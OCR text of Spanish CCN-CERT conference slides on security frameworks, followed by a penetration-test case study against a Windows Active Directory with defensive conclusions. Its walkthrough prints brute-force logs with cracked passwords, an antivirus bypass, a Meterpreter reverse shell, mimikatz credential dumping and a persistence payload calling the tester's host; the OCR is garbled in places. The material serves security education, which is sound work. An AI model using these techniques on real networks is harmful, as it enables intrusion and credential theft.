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Marcos de referenciay buenas practicas

LPIC (en caso de infraestructuras criticas)

75 MEDIDAS DE SEGURIDAD RECOGIDAS EN EL ENS

MARCO ORGANIZATIVO

El marco organizativo esta constituido por
un conjunto de medidas relacionadas con la
organizacién global de la seguridad

MARCO OPERACIONAL
El marco operacional esta constituido por las
medidas a tomar para proteger la operacion del
sistema como conjunto integral de componentes
paraun fin

MEDIDAS DE PROTECCION — — —
Las medidas de proteccion, se centraran en
activos concretos, segun su haturaleza, con el
nivel requerido en cada dimensién de seguridad

POLITICA DE SEGURIDAD
NORMATIVA DE SEGURIDAD
PROCEDIMIENTOS DE SEGURIDAD
PROCESO DE AUTORIZACION

PLANIFICACION

CONTROL DE ACCESO
EXPLOTACION

SERVICIOS EXTERNOS
CONTINUIDAD DEL SERVICIO
MONITORIZACION DEL SISTEMA

INSTALACIONES E INFRAESTRUCTURAS
GESTION DEL PERSONAL

PROTECCION DE LOS EQUIPOS

PROTECCION DE LAS COMUNICACIONES
PROTECCION SOPORTES DE INFORMACION
PROTECCION APLICACIONES INFORMATICAS
PROTECCION DE LA INFORMACION
PROTECCION DE LOS SERVICIOS

Fuente: CCN-Cert

TACTICO

ESTRATEGICO

OPERATIVO

CONTROLES ISO 27002
DOMINIOS DE CONTROL SGSI

Politicas de seguridad
de la informacidn

-
Organizacion de la seguridad
de la informacion

Control de accesos

Conformidad

Seguridad fisica
y ambiental
Seguridad
. arganizativa

Adquisicién, desarrollo y Seguridad en las . Sequridad

mantenimiento de sistemas comunicaciones figica
. Seguridad

Kigica
Criptografia ‘ Seguridad en las operaciones . ?gnﬂmad

coN-cert
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¢cDonde se encuentra el equilibrio?

Negocio
Operacion
Funcionalidad

Seguridad

=
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Medidas de proteccion

WAF
< .Firewall

Antivirus
EMM
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Ataques

]
La Zaragozana sufre un ciberataque que
ot UL ¢
: .. .. AdlICCla a4 sus SCrvicios operauvos
Un ciberataque deja sin servicio ;e > 0p >y
logisticos
= ,
los sistemas de la Cadena SER 5
El Gobierno de Espafia ha confirmado que durante la mafiana de hoy El grupo cervecero aragonés Agora en el que se integra la marca Ambar, que ha denunciado el hecho ante el
"se han estado produciendo infecciones por malware tipo :?:]ljl:]11ltl(l)d?)d]j11(1)111(11Lzlfl;)lll)f;lsle(?:lillilli(lln(::egm(1 que no va a pagar ningun rescate e insiste en que esta

ransomware a empresas estratégicas en Espana”. -
AYUNTAMIENTO DE ZARAGOZA

El Instituto de Empleo de Zaragoza sufre
2y los hackers exigen un

Un ciberataque le cuesta a una )OO euros
em p resa 75. 000 euros d e med ia eshloquear los sistemas informaticos del organismo municipal y asegura

Enrique Dominguez, director estratégico de ciberseguridad de
Entelgy, asegura que con un raton inalambrico se puede tomar el '
control de un ordenador.

-

iundo.es

anco de las Islas Caiman sufre un hackeo con firma en

El virus ransomware WannaCry contagia cerca de 300.000 @ ~ espafiol
ordenadores en todo el mundo, cifra los archivos que encuentra a
su paso vy pide un rescate de hasta 300 ddlares para devolverlos. El
virus afecto a grandes empresas e instituciones de todo el mundo:
Teléfonica, el Servicio de Salud del Reino Unido, el Ministerio de
Interior ruso o el fabricante de automadviles Renault. La Europol, la
policia de la Union Europea, lo describid como “un ataque sin
precedentes”.

DANIEL J. OLLERO@danieljollero

4-5 minutes

Actualizado Martes, 19 noviembre 2019 - 09:30

coN-cert

<centro criptolégico nacional




Estadisticas

QUE MEDIDAS HABIA EN LOS SITIOS QUE HEMOS AUDITADO
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POLITICA DE ACCESOS

c

POLITICA DE
ACTUALIZACIONES
) OTRAS
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Estadisticas

QUE MEDIDAS HABIA EN LOS SITIOS QUE HEMOS AUDITADO
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ESCENARIO CASO PRACTICO

. Redes inalambricas configuradas (invitados y
corporativa)

. Cortafuegos en el perimetro

. Antivirus en los endpoint
. Sistemas actualizados

Dos controladores de dominio con relacion de
conflanza

cd
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1 C Jll. C C U
WIFI de Invitad~-

~="'

Primera Fase: lograr
iInformacion del sitio

cd
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¢, Cuales son los servidores del dominio?

Host is up (0.00030s latency).
Not shown: 65501 filtered ports

PORT STATE SERVICE VERSION

53/tcp open domain?

80/tcp open___ http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time:
113/tcp closed ident

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP
443 /tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
445 /tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012
464 /tcp open  kpasswds?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

coN-cert
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¢, Cuales son los servidores del dominio?

389/tcp open ldap Microsoft Windows Active Dire
ctory LDAP[fDnmain: ccnﬂl.lncaq, Site: Default-First-Site-Name)

445ffcp rnpen microsoft-ds Microsoft Windows Server 2008
R2 - 2012 microsoft-ds (workgroup: CCN®&1)

Service Info: Host: DC-CCN®1] 0S: Windows; CPE: cpe:/o:microsoft:
windows

389/tcp open ldap Microsoft Windows Active Direc
tory LDAP knnmain: ccnB2.local] Site: Default-First-Site-Name)

445 ftcp open microsoft-ds Microsoft Windows Server 2088
R2 - 2012 microsoft-ds (workgroup: CCNO2)

Service Infﬁ:lHnst: DC-CCNO®2] 05: Windows; CPE: cpe:/o:microsoft:
windows

cd
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Situacion: Estamos dentro, y sabemos
cuales son los controladores del
dominio

Segunda Fase:
Lograr un usuario
valido en el dominio

4
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Obtencidn de usuario valido en el dominio

GNU nano 4.3 lista.txt
flsuario

Test
rmorales
jangosto
invitado
prueba

Diccionario de usuarios

cd
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Obtencion de usuario valido en el dominio

PORT STATE SERVICE

88/tcp open kerberos-sec

krb5-enum-users:

Discovered Kerberos principals
rmorales@ccnol
jangosto@ccnol
prueba@ccnéil

Preguntamos a kerberos... y kerberos responde.
Tenemos tres candidatos!!!

cd
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Situacion: Tengo tres usuarios validos
en el dominio

Tercera Fase:
Lograr credenciales

4
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Obtencidn de credenciales de usuarios en el dominio

GNU nano 4.3 tmp/diccionario. txt

prueba
Prueba
pruebail
pruebailz
pruebalz3
Pruebal
Pruebail?z
Pruebalz3

Diccionario de claves

CN - cm
cd
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Obtencidon de credenciales de usuarios en el dominio

[*] 10.238.247.125:445 - 10.238.247.125:445 - Starting SMB login bruteforce

[-] 106.238.247.125:445 - 10.238.247.125:445 - Failed: 'ccn@l\prueba:prueba',

[-] 16.238.247.125:445 - 10.238.247.125:445 - Failed: 'ccn@l\prueba:Prueba’,

[-] 10.238.247.125:445 - 10.238.247.125:445 - Failed: ‘ccnﬂl\prueha:pruehal‘,
[-] 106.238.247.125:445 - 10.238.247.125:445 - Failed: 'ccn®1l\prueba:pruebai2',
[-] 16.238.247.125:445 - 10.238.247.125:445 - Failed: ‘ccnﬂlkprueha:pruebalES‘,
[-] 10.238.247.125:445 - 10.238.247.125:445 - Failed: 'ccn@l\prueba:Pruebal',
[-] 16.238.247.125:445 - 10.238.247.125:445 - Failed: ccnﬂl\prueha'Pruebalz‘
[+] 10.238.247.125:445 - 10.238.247.125:445 | Success: ccnﬂlkprueha Pruebal23’
[*] : Scanned 1 of 1 (100% complete)

Prueba de fuerza bruta. Podemos hacerlo!!! No hay
configuracion de bloqueos por reintento... y
logramos una contrasefia valida

cd
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Situacion: Tengo un ust=ari~ - u
contrasen= g .
etivo.
Segundo Ob!

Cuarta Fase: Escalada
de privilegios

Cd
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Obtencion de credenciales privilegiados en el dominio

Enter WORKGROUP\prueba's password:
rpcclient $> enumdomusers
user:[Administrador] rid:[0x1f4]
user:[Invitado] rid:[@x1f5]
user:[krbtgt] rid:[@x1f6]
user:[userccn®1.01] rid:[0x452]
user:[rmorales] rid:[®x459]
user:[jangosto] rid:[0x45a]
user:[matenimiento] ridi[@x45d]
user:[admingenia] rid:[§x465]
user:[prueba] rid:[@x466]
user:[TM _OSCE DC-CCNO1] rid:[0x46b]

Con un usuario valido consultamos por el resto de usuarios
del Dominio. Nos llaman la atencion los usuarios
“mantenimiento” y “admingenia’... a por el primero!!!

cd
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Obtencion de credenciales privilegiados en el dominio

GNU nano 4.3 Llistaz.txt

gantenimiento
Mantenimiento
mantenimientol
mantenimientol?
mantenimientol23
Mantenimientol
Mantenimientol?
Mantenimientol?23

Diccionario de claves

CN - cm
cd
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Obtencion de credenciales privilegiados en el dominio

[*] 10.238.247.125:445 - 10.238.247.125:445 - Starting SMB login bruteforce

[-] 10.238.247.125:445 - 10.238.247.125:445 - Falled: 'ccn@il\mantenimiento:mantenimiento’,
[-] 10.238.247.125:445 - 10.238.247.125:445 - Falled: 'ccn@il\mantenimiento:Mantenimiento',
[-] 10.238.247.125:445 - 10.238.247.125:445 - Falled: 'ccn@il\mantenimiento:mantenimientol’,
[-] 10.238.247.125:445 - 10.238.247.125:445 - Falled: 'ccn@il\mantenimiento:mantenimiento12’,
[-] 10.238.247.125:445 - 10.238.247.125:445 - Falled: 'ccn@il\mantenimiento:mantenimiento123’
[-] 10.238.247.125:445 - 10.238.247.125:445 - Falled: 'ccn@il\mantenimiento:Mantenimientol’,
[-] 10.238.247.125:445 - 16.238.247.125:445 - _Failed: 'ccn@i\maptepimiento:Mantenimientol?’
[+] 10.238.247.125:445 - 10.238.247.125:445 | Success: 'ccn@l\mantenimiento:Mantenimientol23
[*] 10.238.247.125:445 - Scanned 1 of 1 hosts (100% complete)

De nuevo prueba de fuerza bruta... y logramos una
contrasefia valida

coN-cert
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Obtencion de credenciales privilegiados en el dominio

rdesktop - 10.238.247.1

C:sWindowsssystem32 x

Este usuario permite acceso por escritorio remoto... tiene
privilegios, es administrador LOCAL de cualguier maquina,
pero no es administrador del Dominio

centro criptolégico nadional
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Situacion: Tengo un usuario valido
privilegiado y acceso a una magquina en el
Dominio

Quinta Fase: A por el
administrador del
Dominio

4
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Obtencidn de credenciales administradoras en el dominio

= Administrador: Simbolo del sistema

s Windowsssystem3d2 >net uwuse = ~S~1H@.238.247 . 124 carpeta
La unidad ¥: esta conectada a ~~18.238.247_.124~carpeta.

52 ha completado el comando correctamente.

rdesktop - 10.238.247.1

Desde la maquina en el
dominio, accedemos a nuestro
equipo que esta en la red de
iInvitados, para usar un “bichito”
gue hemos preparado

centro criptolégico nadional
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Obtencion de credenciales administradoras en el dominio

v‘ Amenazas/infracciones detectadas

Se han encontrado las siguientes amenazas o infracciones de politicas
de seguridad.

Virus/malware 3 @A

OfficeScan ha detectado una o mas amenazas de virus/malware
en el endpoint.

Haga clic en el enlace de recuento de deteccion para obtener mas
informacion.

Ultima amenaza encontrada: 20/11/2019 13:24

Cermar

Lanzamos nuestro “bichito” pero nos lo cazan ®

cd
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Obtencion de credenciales administradoras en el dominio

b Administrador: Simbolo del sistema

s~Windowsssystem3I2net wse * “N1WA.238.247 124N carpeta
La wunidad X: esta conectada a ~~18.238_.247 _124~carpeta.

Se ha completado el comando correctamente.

sswWindowsssystem32 »H -
B o~>bichito.exe

AR

Pero si lo lanzamos desde la unidad X (en realidad accedemos al
nuestro equipo).... El antivirus no se entera y puedo lanzarlo ©

centro criptolégico nadional
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Obtencion de credenciales administradoras en el dominio

msf5 exploit(multi/handler) > exploit

*

[#] Started reverse TCP handler on 0.0.0.0:443
[*] Sending stage (206483 bytes) to 10.238.247.1
[*] Meterpreter session 1 opened (10.238.247.124:443

meterpreter > load mimikatz

El bichito nos permite utilizar herramientas de hacking en diferido. Y se
ejecuta “mimikatz” que entre otras cosas, permite obtener contrasenas
almacenadas en la maquina cuando fue dada de alta en el dominio

cd
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Obtencion de credenciales administradoras en el dominio

I #XI1IIJORNADASCCNCERT

meterpreter > mimikatz command -f sekurlsa::searchPasswords

0
(1]
2]
El
4

{ W7CCNO1-01$ ; CCNO1 ; [I"1CFBRm6;v+ky>B?D[ule*+PYS4<M
{ W7CCN®1-81S$ ; CCNO1 ; [J"1CFBRm6;v+ky>B?D[ule*+PYS$S4<M
{ mantenimientn : EEHEl ; Mantenimientol23 }

{ CCNB1 ; admingenia ; 4dmlnG3nil4 }

{ \mantenimi ; CCNO1 ; b26bb719d25e970e7ad46f5942e25a31

33EEfEEEﬁSdBdEEdbEdCEEﬁcldﬂcd1314f914h?EaEa?EESEthchEﬁ#Sﬁ

6eB8eabb3aflcf4ebefeadddse
[5] { admingenia ; CCNO1|;
[6] { ProtectedStorage ; .
[7] { CCNO1 ; admingenia ; 4dm1nG3ni14 }

Se obtiene la contrasena en claro de el usuario admingenia

h70189850ba763757F 6

.local : ab®14068558

cd
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Obtencidon de credenciales administradoras en el dominio

Inicio

Windows
PowerShell

Y podemos acceder a un controlador del dominio como administrador...
BINGO!!!!l Este si que es administrador del dominio

=
<centro criptolégico nacional
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Ultima Fase: Hasta
donde puedo llegar?

Cd
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Salto de dominio

rdesktop - 10.238.247.253

rpcclient $> enumdomusers
user:[Administrador] rid:[@x1f4]
e USEE user:[Invitado] rid:[®x1f5]
user:[krbtgt] rid:[@x1f6]
user:[userccn®2.01] rid:[@x458]
ser:[admmantenimiento]| rid:[@x456]
user:[THM_ - rid:[@x458]

1

Cuando intentamos hacer “login” en el segundo controlador, los
usuarios no son validos, pero se puede acceder por “rpc” y podemos
listar los usuarios. Nos vuelve a llamar la atencion “admmantenimiento”

CN - cm
cd
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Salto de dominio

| N | C|O admmantenimiento

Administrador Windows
del servidor PowerShell Panel de control Internet Explorer

2 @& & B

Administrador Herramientas Explorador de
Este equipo de tareas administrativas archivos

Probamos las contrasenas logradas en la primera fase del ataque y
iicoincide con la de admingenia!!. Se han reutilizado contrasenas y
logramos acceso

=
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Crear persistencia

meterpreter |> run persistence

1 Meterpreter scripts are deprecated. Try post/windows/manage/persistence exe.

1 Example: run post/windows/manage/persistence exe OPTION=value [...]

[*] Running Persistence Script

[#*] Resource file for cleanup created at /root/.msf4/logs/persistence/DC-CCNO1_ 201911
[*] Creating Payload=windows/meterpreter/reverse_ tcp LHOST=10.238.247.124 LPORT=4444
[*] Persistent agent script is 99679 bytes long

[+] Persistent Script written to C:\Users\ADMING~1\AppData\Local\Temp\vjoehHdTxB.vbs
[#*] Executing script C:\Users\ADMING~1\AppData\Local\Temp\vjoehHdTxB.vbs

[+] Agent executed with PID 6476

meterpreter = I

Aprovechando los permisos que
tenemos, dejamos una puerta abierta...

coN-cert

centro criptolégico nadional



CASO PRACTICO I - XIIIJORNADASCCNCERT

Situacion: Tengo accesn =~

administrad~- - U
Objetivo coNsed

Acceso total
con persistencia

FIN

Cd
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Conclusiones

Mala segregacion de redes
. ENS - mp.com.4 | (ISO/IEC 27002 — 13.1.3)

Consola desatendidas
ENS — op.exp.6 | ISO/IEC 27002 — 12.4.1

Politica de contrasenas
ENS - op.acc.5 & 6 | ISO/IEC 27002 — 9.4.3)
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Conclusiones

Llevaron a cabo un hacking para
mejorar su sistema ©

Proteccion Perimetral
(Firewall)

Antivirus
al dia

Sistemas
actualizados

coN-cert
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Conclusiones

« La tecnologia sin una correcta configuracion y
gestion, no protege por si sola

« El cumplimiento de los marcos normativos exigen
que se tomen medidas para la correcta
configuracion del sistema

 El analisis de vulnerabilidades como mecanismo de
auditoria técnica no revela malas configuraciones
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Conclusiones

L a Peterneta Tecnologia sin
Control no sirve de Nada

I n
INGENIERIA E INTEGRACION AVANZADAS
coN-cert
v
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iGraclas!
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